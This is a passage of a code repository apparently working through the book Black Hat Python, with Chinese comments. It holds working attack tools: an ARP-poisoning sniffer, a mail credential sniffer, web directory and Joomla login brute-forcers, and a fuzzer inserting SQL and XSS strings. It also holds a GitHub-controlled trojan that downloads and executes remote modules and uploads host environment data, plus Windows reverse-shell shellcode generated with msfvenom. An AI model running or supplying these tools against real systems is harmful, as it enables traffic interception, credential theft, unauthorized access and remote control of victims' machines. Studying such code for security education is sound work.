Return the MAC address from a response 31 | for s, r in responses: 32 | return r[Ether].src 33 | 34 | return None 35 | 36 | def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): 37 | global poisoning 38 | 39 | poison_target = ARP() 40 | poison_target.op = 2 41 | poison_target.psrc = gateway_ip 42 | poison_target.pdst = target_ip 43 | poison_target.hwdst = target_mac 44 | 45 | poison_gateway = ARP() 46 | poison_gateway.op = 2 47 | poison_gateway.psrc = target_ip 48 | poison_gateway.pdst = gateway_ip 49 | poison_gateway.hwdst = gateway_mac 50 | 51 | print "[*] Beginning the ARP poison. [CTRL-C to stop]" 52 | 53 | while poisoning: 54 | send(poison_target) 55 | send(poison_gateway) 56 | time.sleep(2) 57 | 58 | print "[*] ARP poison attack finished." 59 | 60 | return 61 | 62 | conf.iface = interface # Set our interface 63 | conf.verb = 0 # Turn off output 64 | 65 | print "[*] Setting up %s" % interface 66 | 67 | gateway_mac = get_mac(gateway_ip) 68 | 69 | if gateway_mac is None: 70 | print "[!!!] Failed to get gateway MAC. Exiting." 71 | sys.exit(0) 72 | else: 73 | print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac) 74 | 75 | target_mac = get_mac(target_ip) 76 | 77 | if target_mac is None: 78 | print "[!!!] Failed to get target MAC. Exiting." 79 | sys.exit(0) 80 | else: 81 | print "[*] Target %s is at %s" % (target_ip, target_mac) 82 | 83 | # Start poison thread 84 | poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac)) 85 | poison_thread.start() 86 | 87 | try: 88 | print "[*] Starting sniffer for %d packets" % packet_count 89 | 90 | bpf_filter = "ip host %s" % target_ip 91 | packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) 92 | except KeyboardInterrupt: 93 | pass 94 | finally: 95 | # Write out the captured packets 96 | print "[*] Writing packets to arper.pcap" 97 | wrpcap('arper.pcap', packets) 98 | 99 | poisoning = False 100 | time.sleep(2) # Wait for poisoning thread to exit 101 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) # Restore the network 102 | sys.exit(0) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 4/mail_sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 窃取 Email 认证 5 | 6 | # 测试方法 7 | # $ telnet pop3.163.com 110 8 | # user zengqiu2002 9 | # pass mypassword 10 | 11 | import threading 12 | from scapy.all import * 13 | 14 | # Our packet callback 15 | def packet_callback(packet): 16 | if packet[TCP].payload: 17 | mail_packet = str(packet[TCP].payload) 18 | 19 | if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): 20 | print "[*] Server: %s" % packet[IP].dst 21 | print "[*] %s" % packet[TCP].payload 22 | 23 | # Fire up our sniffer 24 | sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 4/pic_carver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 处理 PCAP 文件 5 | 6 | import re 7 | import zlib 8 | import cv2 9 | from scapy.all import * 10 | 11 | pictures_directory = "pic_carver/pictures" 12 | faces_directory = "pic_carver/faces" 13 | pcap_file = "arper.pcap" 14 | 15 | def face_detect(path,file_name): 16 | img = cv2.imread(path) 17 | cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") 18 | rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20)) 19 | 20 | if len(rects) == 0: 21 | return False 22 | 23 | rects[:, 2:] += rects[:, :2] 24 | 25 | # Highlight the faces in the image 26 | for x1, y1, x2, y2 in rects: 27 | cv2.rectangle(img, (x1, y1), (x2, y2),(127, 255, 0), 2) 28 | 29 | cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img) 30 | return True 31 | 32 | def get_http_headers(http_payload): 33 | try: 34 | # Split the headers off if it is HTTP traffic 35 | headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2] 36 | 37 | # Break out the headers 38 | headers = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw)) 39 | except: 40 | return None 41 | 42 | if "Content-Type" not in headers: 43 | return None 44 | 45 | return headers 46 | 47 | def extract_image(headers, http_payload): 48 | image = None 49 | image_type = None 50 | 51 | try: 52 | if "image" in headers['Content-Type']: 53 | # Grab the image type and image body 54 | image_type = headers['Content-Type'].split("/")[1] 55 | 56 | image = http_payload[http_payload.index("\r\n\r\n")+4:] 57 | 58 | # If we detect compression decompress the image 59 | try: 60 | if "Content-Encoding" in headers.keys(): 61 | if headers['Content-Encoding'] == "gzip": 62 | image = zlib.decompress(image, 16+zlib.MAX_WBITS) 63 | elif headers['Content-Encoding'] == "deflate": 64 | image = zlib.decompress(image) 65 | except: 66 | pass 67 | except: 68 | return None,None 69 | 70 | return image, image_type 71 | 72 | def http_assembler(pcap_file): 73 | carved_images = 0 74 | faces_detected = 0 75 | 76 | a = rdpcap(pcap_file) 77 | sessions = a.sessions() 78 | 79 | for session in sessions: 80 | http_payload = "" 81 | 82 | for packet in sessions[session]: 83 | try: 84 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 85 | # Reassemble the stream into a single buffer 86 | http_payload += str(packet[TCP].payload) 87 | except: 88 | pass 89 | 90 | headers = get_http_headers(http_payload) 91 | 92 | if headers is None: 93 | continue 94 | 95 | image, image_type = extract_image(headers, http_payload) 96 | 97 | if image is not None and image_type is not None: 98 | # Store the image 99 | file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type) 100 | fd = open("%s/%s" % (pictures_directory, file_name),"wb") 101 | fd.write(image) 102 | fd.close() 103 | 104 | carved_images += 1 105 | 106 | # Now attempt face detection 107 | try: 108 | result = face_detect("%s/%s" % (pictures_directory, file_name), file_name) 109 | 110 | if result is True: 111 | faces_detected += 1 112 | except: 113 | pass 114 | 115 | return carved_images, faces_detected 116 | 117 | carved_images, faces_detected = http_assembler(pcap_file) 118 | 119 | print "Extracted: %d images" % carved_images 120 | print "Detected: %d faces" % faces_detected -------------------------------------------------------------------------------- /Black Hat Python/Chapter 5/content_bruter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 暴力破解目录和文件位置 5 | 6 | import urllib2 7 | import urllib 8 | import threading 9 | import Queue 10 | 11 | threads = 5 12 | target_url = "http://192.168.1.6:88/joomla" 13 | wordlist_file = "./all.txt" # From SVNDigger 14 | resume = None 15 | user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 16 | 17 | def build_wordlist(wordlist_file): 18 | # Read in the word list 19 | fd = open(wordlist_file,"rb") 20 | raw_words = fd.readlines() 21 | fd.close() 22 | 23 | found_resume = False 24 | words = Queue.Queue() 25 | 26 | for word in raw_words: 27 | word = word.rstrip() 28 | 29 | if resume is not None: 30 | if found_resume: 31 | words.put(word) 32 | else: 33 | if word == resume: 34 | found_resume = True 35 | print "Resuming wordlist from: %s" % resume 36 | else: 37 | words.put(word) 38 | 39 | return words 40 | 41 | def dir_bruter(word_queue, extensions=None): 42 | while not word_queue.empty(): 43 | attempt = word_queue.get() 44 | attempt_list = [] 45 | 46 | # Check if there is a file extension if not it's a directory path we're bruting 47 | if "." not in attempt: 48 | attempt_list.append("/%s/" % attempt) 49 | else: 50 | attempt_list.append("/%s" % attempt) 51 | 52 | # If we want to bruteforce extensions 53 | if extensions: 54 | for extension in extensions: 55 | attempt_list.append("/%s%s" % (attempt, extension)) 56 | 57 | # Iterate over our list of attempts 58 | for brute in attempt_list: 59 | url = "%s%s" % (target_url, urllib.quote(brute)) 60 | 61 | try: 62 | headers = {} 63 | headers["User-Agent"] = user_agent 64 | r = urllib2.Request(url, headers=headers) 65 | response = urllib2.urlopen(r) 66 | 67 | if len(response.read()): 68 | print "[%d] => %s" % (response.code, url) 69 | except urllib2.HTTPError, e: 70 | if hasattr(e, 'code') and e.code != 404: 71 | print "!!! %d => %s" % (e.code, url) 72 | pass 73 | 74 | word_queue = build_wordlist(wordlist_file) 75 | extensions = [".php", ".bak", ".orig", ".inc"] 76 | 77 | for i in range(threads): 78 | t = threading.Thread(target=dir_bruter, args=(word_queue, extensions,)) 79 | t.start() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 5/joomla_killer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 暴力破解 HTML 表格认证 5 | 6 | import urllib2 7 | import urllib 8 | import cookielib 9 | import threading 10 | import sys 11 | import Queue 12 | 13 | from HTMLParser import HTMLParser 14 | 15 | # General settings 16 | user_thread = 10 17 | username = "admin" 18 | wordlist_file = "./cain.txt" 19 | resume = None 20 | 21 | # Target specific settings 22 | target_url = "http://192.168.1.6:88/joomla/administrator/index.php" 23 | target_post = "http://192.168.1.6:88/joomla/administrator/index.php" 24 | 25 | username_field = "username" 26 | password_field = "passwd" 27 | 28 | success_check = "Control Panel" 29 | 30 | class BruteParser(HTMLParser): 31 | def __init__(self): 32 | HTMLParser.__init__(self) 33 | self.tag_results = {} 34 | 35 | def handle_starttag(self, tag, attrs): 36 | if tag == "input": 37 | tag_name = None 38 | tag_value = None 39 | for name, value in attrs: 40 | if name == "name": 41 | tag_name = value 42 | if name == "value": 43 | tag_value = value 44 | 45 | if tag_name is not None: 46 | self.tag_results[tag_name] = value 47 | 48 | class Bruter(object): 49 | def __init__(self, username, words): 50 | self.username = username 51 | self.password_q = words 52 | self.found = False 53 | 54 | print "Finished setting up for: %s" % username 55 | 56 | def run_bruteforce(self): 57 | for i in range(user_thread): 58 | t = threading.Thread(target=self.web_bruter) 59 | t.start() 60 | 61 | def web_bruter(self): 62 | while not self.password_q.empty() and not self.found: 63 | brute = self.password_q.get().rstrip() 64 | jar = cookielib.FileCookieJar("cookies") 65 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) 66 | 67 | response = opener.open(target_url) 68 | page = response.read() 69 | 70 | print "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()) 71 | 72 | # Parse out the hidden fields 73 | parser = BruteParser() 74 | parser.feed(page) 75 | post_tags = parser.tag_results 76 | 77 | # Add our username and password fields 78 | post_tags[username_field] = self.username 79 | post_tags[password_field] = brute 80 | 81 | login_data = urllib.urlencode(post_tags) 82 | login_response = opener.open(target_post, login_data) 83 | login_result = login_response.read() 84 | 85 | if success_check in login_result: 86 | self.found = True 87 | 88 | print "[*] Bruteforce successful." 89 | print "[*] Username: %s" % username 90 | print "[*] Password: %s" % brute 91 | print "[*] Waiting for other threads to exit..." 92 | 93 | def build_wordlist(wordlist_file): 94 | # Read in the word list 95 | fd = open(wordlist_file, "rb") 96 | raw_words = fd.readlines() 97 | fd.close() 98 | 99 | found_resume = False 100 | words = Queue.Queue() 101 | 102 | for word in raw_words: 103 | word = word.rstrip() 104 | 105 | if resume is not None: 106 | if found_resume: 107 | words.put(word) 108 | else: 109 | if word == resume: 110 | found_resume = True 111 | print "Resuming wordlist from: %s" % resume 112 | else: 113 | words.put(word) 114 | 115 | return words 116 | 117 | words = build_wordlist(wordlist_file) 118 | bruter_obj = Bruter(username, words) 119 | bruter_obj.run_bruteforce() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 5/web_app_mapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 开源 Web 应用安装 5 | 6 | import Queue 7 | import threading 8 | import os 9 | import urllib2 10 | 11 | threads = 10 12 | 13 | target = "http://192.168.1.6:88/joomla/" 14 | directory = "./joomla" 15 | filters = [".jpg", ".gif", "png", ".css"] 16 | 17 | os.chdir(directory) 18 | 19 | web_paths = Queue.Queue() 20 | 21 | for r, d, f in os.walk("."): 22 | for files in f: 23 | remote_path = "%s/%s" % (r, files) 24 | if remote_path.startswith("."): 25 | remote_path = remote_path[1:] 26 | if os.path.splitext(files)[1] not in filters: 27 | web_paths.put(remote_path) 28 | 29 | def test_remote(): 30 | while not web_paths.empty(): 31 | path = web_paths.get() 32 | url = "%s%s" % (target, path) 33 | request = urllib2.Request(url) 34 | 35 | try: 36 | response = urllib2.urlopen(request) 37 | content = response.read() 38 | 39 | print "[%d] => %s" % (response.code, path) 40 | 41 | response.close() 42 | except urllib2.HTTPError as error: 43 | # print "Failed %s" % error.code 44 | pass 45 | 46 | for i in range(threads): 47 | print "Spawning thread: %d" % i 48 | t = threading.Thread(target=test_remote) 49 | t.start() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 5/web_request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Web 的套接字函数库 urllib2 5 | 6 | import urllib2 7 | 8 | url = "http://www.v2ex.com" 9 | 10 | headers = {} 11 | headers['User-Agent'] = "Googlebot" 12 | 13 | request = urllib2.Request(url, headers=headers) 14 | response = urllib2.urlopen(request) 15 | 16 | print response.read() 17 | response.close() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 6/bhp_bing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 在 Burp 中利用 Bing 服务 5 | 6 | from burp import IBurpExtender 7 | from burp import IContextMenuFactory 8 | 9 | from javax.swing import JMenuItem 10 | from java.util import List, ArrayList 11 | from java.net import URL 12 | 13 | import socket 14 | import urllib 15 | import json 16 | import re 17 | import base64 18 | import threading 19 | 20 | # https://azure.microsoft.com/zh-tw/marketplace/partners/bing/search/ 21 | # https://datamarket.azure.com/account/keys 22 | bing_api_key = "KEY" 23 | 24 | class BurpExtender(IBurpExtender, IContextMenuFactory): 25 | def registerExtenderCallbacks(self, callbacks): 26 | self._callbacks = callbacks 27 | self._helpers = callbacks.getHelpers() 28 | self.context = None 29 | 30 | # We set up our extension 31 | callbacks.setExtensionName("BHP Bing") 32 | callbacks.registerContextMenuFactory(self) 33 | 34 | return 35 | 36 | def createMenuItems(self, context_menu): 37 | self.context = context_menu 38 | menu_list = ArrayList() 39 | menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu)) 40 | 41 | return menu_list 42 | 43 | def bing_menu(self,event): 44 | # Grab the details of what the user clicked 45 | http_traffic = self.context.getSelectedMessages() 46 | print "%d requests highlighted" % len(http_traffic) 47 | 48 | for traffic in http_traffic: 49 | http_service = traffic.getHttpService() 50 | host = http_service.getHost() 51 | print "User selected host: %s" % host 52 | self.bing_search(host) 53 | return 54 | 55 | def bing_search(self, host): 56 | # Check if we have an IP or hostname 57 | is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host) 58 | 59 | if is_ip: 60 | ip_address = host 61 | domain = False 62 | else: 63 | ip_address = socket.gethostbyname(host) 64 | domain = True 65 | 66 | bing_query_string = "'ip:%s'" % ip_address 67 | thread = threading.Thread(target=self.bing_query, args=(bing_query_string,)) 68 | thread.start() 69 | 70 | if domain: 71 | bing_query_string = "'domain:%s'" % host 72 | thread = threading.Thread(target=self.bing_query, args=(bing_query_string,)) 73 | thread.start() 74 | 75 | def bing_query(self, bing_query_string): 76 | print "Performing Bing search: %s" % bing_query_string 77 | 78 | # Encode our query 79 | quoted_query = urllib.quote(bing_query_string) 80 | 81 | http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query 82 | http_request += "Host: api.datamarket.azure.com\r\n" 83 | http_request += "Connection: close\r\n" 84 | http_request += "Authorization: Basic %s\r\n" % base64.b64encode(":%s" % bing_api_key) 85 | http_request += "User-Agent: Blackhat Python\r\n\r\n" 86 | 87 | json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 443, True, http_request).tostring() 88 | json_body = json_body.split("\r\n\r\n", 1)[1] 89 | 90 | try: 91 | r = json.loads(json_body) 92 | 93 | if len(r["d"]["results"]): 94 | for site in r["d"]["results"]: 95 | print "*" * 100 96 | print site['Title'] 97 | print site['Url'] 98 | print site['Description'] 99 | print "*" * 100 100 | j_url = URL(site['Url']) 101 | 102 | if not self._callbacks.isInScope(j_url): 103 | print "Adding to Burp scope" 104 | self._callbacks.includeInScope(j_url) 105 | except: 106 | print "No results from Bing" 107 | pass 108 | 109 | return -------------------------------------------------------------------------------- /Black Hat Python/Chapter 6/bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Burp 模糊测试 5 | 6 | from burp import IBurpExtender 7 | from burp import IIntruderPayloadGeneratorFactory 8 | from burp import IIntruderPayloadGenerator 9 | 10 | from java.util import List, ArrayList 11 | 12 | import random 13 | 14 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 15 | def registerExtenderCallbacks(self, callbacks): 16 | self._callbacks = callbacks 17 | self._helpers = callbacks.getHelpers() 18 | callbacks.registerIntruderPayloadGeneratorFactory(self) 19 | return 20 | 21 | def getGeneratorName(self): 22 | return "BHP Payload Generator" 23 | 24 | def createNewInstance(self, attack): 25 | return BHPFuzzer(self, attack) 26 | 27 | class BHPFuzzer(IIntruderPayloadGenerator): 28 | def __init__(self, extender, attack): 29 | self._extender = extender 30 | self._helpers = extender._helpers 31 | self._attack = attack 32 | print "BHP Fuzzer initialized" 33 | self.max_payloads = 1000 34 | self.num_payloads = 0 35 | return 36 | 37 | def hasMorePayloads(self): 38 | print "hasMorePayloads called." 39 | if self.num_payloads == self.max_payloads: 40 | print "No more payloads." 41 | return False 42 | else: 43 | print "More payloads. Continuing." 44 | return True 45 | 46 | def getNextPayload(self, current_payload): 47 | payload = "".join(chr(x) for x in current_payload) # Convert into a string 48 | payload = self.mutate_payload(payload) # Call our simple mutator to fuzz the POST 49 | self.num_payloads += 1 # Increase the number of fuzzing attempts 50 | return payload 51 | 52 | def reset(self): 53 | self.num_payloads = 0 54 | return 55 | 56 | def mutate_payload(self, original_payload): 57 | # Pick a simple mutator or even call an external script like Radamsa does 58 | picker = random.randint(1, 3) 59 | # Select a random offset in the payload to mutate 60 | offset = random.randint(0, len(original_payload)-1) 61 | payload = original_payload[:offset] 62 | 63 | # Random offset insert a SQL injection attempt 64 | if picker == 1: 65 | payload += "'" 66 | 67 | # Jam an XSS attempt in 68 | if picker == 2: 69 | payload += ""; 70 | 71 | # Repeat a chunk of the original payload a random number 72 | if picker == 3: 73 | chunk_length = random.randint(len(payload[offset:]), len(payload)-1) 74 | repeater = random.randint(1, 10) 75 | 76 | for i in range(repeater): 77 | payload += original_payload[offset:offset+chunk_length] 78 | 79 | payload += original_payload[offset:] # Add the remaining bits of the payload 80 | 81 | return payload -------------------------------------------------------------------------------- /Black Hat Python/Chapter 6/bhp_wordlist.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 利用网站内容生成密码字典 5 | 6 | from burp import IBurpExtender 7 | from burp import IContextMenuFactory 8 | 9 | from javax.swing import JMenuItem 10 | from java.util import List, ArrayList 11 | from java.net import URL 12 | 13 | import re 14 | from datetime import datetime 15 | from HTMLParser import HTMLParser 16 | 17 | class TagStripper(HTMLParser): 18 | def __init__(self): 19 | HTMLParser.__init__(self) 20 | self.page_text = [] 21 | 22 | def handle_data(self, data): 23 | self.page_text.append(data) 24 | 25 | def handle_comment(self, data): 26 | self.handle_data(data) 27 | 28 | def strip(self, html): 29 | self.feed(html) 30 | return " ".join(self.page_text) 31 | 32 | class BurpExtender(IBurpExtender, IContextMenuFactory): 33 | def registerExtenderCallbacks(self, callbacks): 34 | self._callbacks = callbacks 35 | self._helpers = callbacks.getHelpers() 36 | self.context = None 37 | self.hosts = set() 38 | 39 | # Start with something we know is common 40 | self.wordlist = set(["password"]) 41 | 42 | # We set up our extension 43 | callbacks.setExtensionName("BHP Wordlist") 44 | callbacks.registerContextMenuFactory(self) 45 | 46 | def createMenuItems(self, context_menu): 47 | self.context = context_menu 48 | menu_list = ArrayList() 49 | menu_list.add(JMenuItem("Create Wordlist", actionPerformed=self.wordlist_menu)) 50 | 51 | return menu_list 52 | 53 | def wordlist_menu(self, event): 54 | # Grab the details of what the user clicked 55 | http_traffic = self.context.getSelectedMessages() 56 | 57 | for traffic in http_traffic: 58 | http_service = traffic.getHttpService() 59 | host = http_service.getHost() 60 | self.hosts.add(host) 61 | http_response = traffic.getResponse() 62 | 63 | if http_response: 64 | self.get_words(http_response) 65 | 66 | self.display_wordlist() 67 | 68 | def get_words(self, http_response): 69 | headers, body = http_response.tostring().split('\r\n\r\n', 1) 70 | 71 | # Skip non-text responses 72 | if headers.lower().find("content-type: text") == -1: 73 | return 74 | 75 | tag_stripper = TagStripper() 76 | page_text = tag_stripper.strip(body) 77 | 78 | words = re.findall("[a-zA-Z]\w{2,}", page_text) 79 | 80 | for word in words: 81 | # Filter out long strings 82 | if len(word) <= 12: 83 | self.wordlist.add(word.lower()) 84 | 85 | def mangle(self, word): 86 | year = datetime.now().year 87 | suffixes = ["", "1", "!", year] 88 | mangled = [] 89 | 90 | for password in (word, word.capitalize()): 91 | for suffix in suffixes: 92 | mangled.append("%s%s" % (password, suffix)) 93 | 94 | return mangled 95 | 96 | def display_wordlist(self): 97 | print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts) 98 | 99 | for word in sorted(self.wordlist): 100 | for password in self.mangle(word): 101 | print password 102 | 103 | return -------------------------------------------------------------------------------- /Black Hat Python/Chapter 6/jython-standalone-2.7.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zengqiu/study/9e41a7b7f9b1f45922ed8efa22539472c950e95a/Black Hat Python/Chapter 6/jython-standalone-2.7.0.jar -------------------------------------------------------------------------------- /Black Hat Python/Chapter 7/config/abc.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "module": "dirlister" 4 | }, 5 | { 6 | "module": "environment" 7 | } 8 | ] -------------------------------------------------------------------------------- /Black Hat Python/Chapter 7/data/abc/1390.data: -------------------------------------------------------------------------------- 1 | eydMQU5HJzogJ2VuX1VTLlVURi04JywgJ1RFUk0nOiAneHRlcm0nLCAnU0hFTEwnOiAnL2Jpbi9iYXNoJywgJ1hER19SVU5USU1FX0RJUic6ICcvcnVuL3VzZXIvMCcsICdMQU5HVUFHRSc6ICdlbl9VUzplbicsICdTSExWTCc6ICcxJywgJ1NTSF9UVFknOiAnL2Rldi9wdHMvMCcsICdIT01FJzogJy9yb290JywgJ1BXRCc6ICcvbWVkaWEvc2ZfU2hhcmUvcHluZXQnLCAnU1NIX0NMSUVOVCc6ICcxOTIuMTY4LjEuMTEyIDU0MjM5IDIyJywgJ0xPR05BTUUnOiAncm9vdCcsICdVU0VSJzogJ3Jvb3QnLCAnUEFUSCc6ICcvdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4nLCAnTUFJTCc6ICcvdmFyL21haWwvcm9vdCcsICdTU0hfQ09OTkVDVElPTic6ICcxOTIuMTY4LjEuMTEyIDU0MjM5IDE5Mi4xNjguMS4yMjIgMjInLCAnWERHX1NFU1NJT05fSUQnOiAnMycsICdPTERQV0QnOiAnL3Jvb3QnLCAnXyc6ICcvdXNyL2Jpbi9weXRob24nfQ== -------------------------------------------------------------------------------- /Black Hat Python/Chapter 7/data/abc/8711.data: -------------------------------------------------------------------------------- 1 | WydnaXRfdHJvamFuLnB5J10= -------------------------------------------------------------------------------- /Black Hat Python/Chapter 7/git_trojan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 基于 GitHub 通信的木马 5 | 6 | import json 7 | import base64 8 | import sys 9 | import time 10 | import imp 11 | import random 12 | import threading 13 | import Queue 14 | import os 15 | 16 | from github3 import login 17 | 18 | trojan_id = "abc" 19 | 20 | trojan_config = "%s.json" % trojan_id 21 | data_path = "data/%s/" % trojan_id 22 | trojan_modules= [] 23 | 24 | task_queue = Queue.Queue() 25 | configured = False 26 | 27 | class GitImporter(object): 28 | def __init__(self): 29 | self.current_module_code = "" 30 | 31 | def find_module(self, fullname, path=None): 32 | if configured: 33 | print "[*] Attempting to retrieve %s" % fullname 34 | new_library = get_file_contents("modules/%s" % fullname) 35 | 36 | if new_library is not None: 37 | self.current_module_code = base64.b64decode(new_library) 38 | return self 39 | 40 | return None 41 | 42 | def load_module(self, name): 43 | module = imp.new_module(name) 44 | exec self.current_module_code in module.__dict__ 45 | sys.modules[name] = module 46 | return module 47 | 48 | def connect_to_github(): 49 | gh = login(username="zengqiu", password="mypassword") 50 | repo = gh.repository("zengqiu", "study") 51 | branch = repo.branch("master") 52 | 53 | return gh, repo, branch 54 | 55 | def get_file_contents(filepath): 56 | gh, repo, branch = connect_to_github() 57 | tree = branch.commit.commit.tree.recurse() 58 | 59 | for filename in tree.tree: 60 | if filepath in filename.path: 61 | print "[*] Found file %s" % filepath 62 | blob = repo.blob(filename._json_data['sha']) 63 | 64 | return blob.content 65 | 66 | return None 67 | 68 | def get_trojan_config(): 69 | global configured 70 | 71 | config_json = get_file_contents(trojan_config) 72 | config = json.loads(base64.b64decode(config_json)) 73 | configured = True 74 | 75 | for task in config: 76 | if task['module'] not in sys.modules: 77 | exec("import %s" % task['module']) 78 | 79 | return config 80 | 81 | def store_module_result(data): 82 | gh, repo, branch = connect_to_github() 83 | remote_path = "Black Hat Python/Chapter 7/data/%s/%d.data" % (trojan_id, random.randint(1000, 100000)) 84 | repo.create_file(remote_path, "Commit message", base64.b64encode(data)) 85 | 86 | return 87 | 88 | def module_runner(module): 89 | task_queue.put(1) 90 | result = sys.modules[module].run() 91 | task_queue.get() 92 | 93 | store_module_result(result) # Store the result in our repo 94 | 95 | return 96 | 97 | # Main trojan loop 98 | sys.meta_path = [GitImporter()] 99 | 100 | while True: 101 | if task_queue.empty(): 102 | config = get_trojan_config() 103 | 104 | for task in config: 105 | t = threading.Thread(target=module_runner, args=(task['module'],)) 106 | t.start() 107 | time.sleep(random.randint(1, 10)) 108 | 109 | time.sleep(random.randint(1000, 10000)) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 7/modules/dirlister.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 列举当前目录下的所有文件 5 | 6 | import os 7 | 8 | def run(**args): 9 | print "[*] In dirlister module." 10 | files = os.listdir(".") 11 | 12 | return str(files) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 7/modules/environment.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 获取机器环境变量 5 | 6 | import os 7 | 8 | def run(**args): 9 | print "[*] In environment module." 10 | return str(os.environ) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 8/generate_shellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 生成 shellcode 5 | 6 | import base64 7 | 8 | # Metasploit payload windows/shell/reverse_tcp 9 | # msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.222 LPORT=4444 -f c 10 | shellcode = ( 11 | "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 12 | "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" 13 | "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" 14 | "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" 15 | "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" 16 | "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" 17 | "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" 18 | "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" 19 | "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" 20 | "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" 21 | "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" 22 | "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\xde\x68\x02" 23 | "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" 24 | "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" 25 | "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" 26 | "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" 27 | "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" 28 | "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" 29 | "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" 30 | "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" 31 | "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" 32 | 